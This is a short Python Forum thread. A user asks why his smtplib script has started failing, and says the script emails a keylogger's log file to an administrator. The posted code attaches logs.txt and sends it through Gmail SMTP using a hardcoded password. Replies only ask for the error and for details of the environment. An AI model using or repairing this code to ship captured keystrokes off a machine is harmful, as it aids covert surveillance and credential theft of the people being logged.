Python Forum
"Raise SMTPException("SMTP AUTH extension not supported by server.") - Printable Version

+- Python Forum (https://python-forum.io)
+-- Forum: Python Coding (https://python-forum.io/forum-7.html)
+--- Forum: General Coding Help (https://python-forum.io/forum-8.html)
+--- Thread: "Raise SMTPException("SMTP AUTH extension not supported by server.") (/thread-8332.html)



"Raise SMTPException("SMTP AUTH extension not supported by server.") - NajeebUllah - Feb-15-2018

Respected all,
I have written a code in python to send the keylogger log file to administrator, the said code working fine but after a day when I try to test in production the code raises an exception,
Need your response on urgent basis.
Thanks


RE: "Raise SMTPException("SMTP AUTH extension not supported by server.") - Larz60+ - Feb-15-2018

code?


RE: "Raise SMTPException("SMTP AUTH extension not supported by server.") - NajeebUllah - Feb-15-2018

Code...The same code working fine yesterday but today without any change stop working

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders

email_user = '[email protected]'
email_send = '[email protected]'
subject ='Python'

msg =MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject

body = 'Hi thre'
msg.attach(MIMEText(body,'plain'))

filename = 'logs.txt'
attachment = open(filename,'rb')

part =MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-disposition',"attachment,filename= "+filename)


msg.attach(part)
text= msg.as_string()

server = smtplib.SMTP('smtp.gmail.com',587)


server.starttls()
server.login(email_user,'qaz@wsx')
server.sendmail(email_user,email_send,text)
server.quit()



RE: "Raise SMTPException("SMTP AUTH extension not supported by server.") - nilamo - Mar-16-2018

What's the error? Are we expected to just guess?
What sort of machine does it run on in production? Is that machine set to automatically install updates? What's changed from when it worked to when it didn't?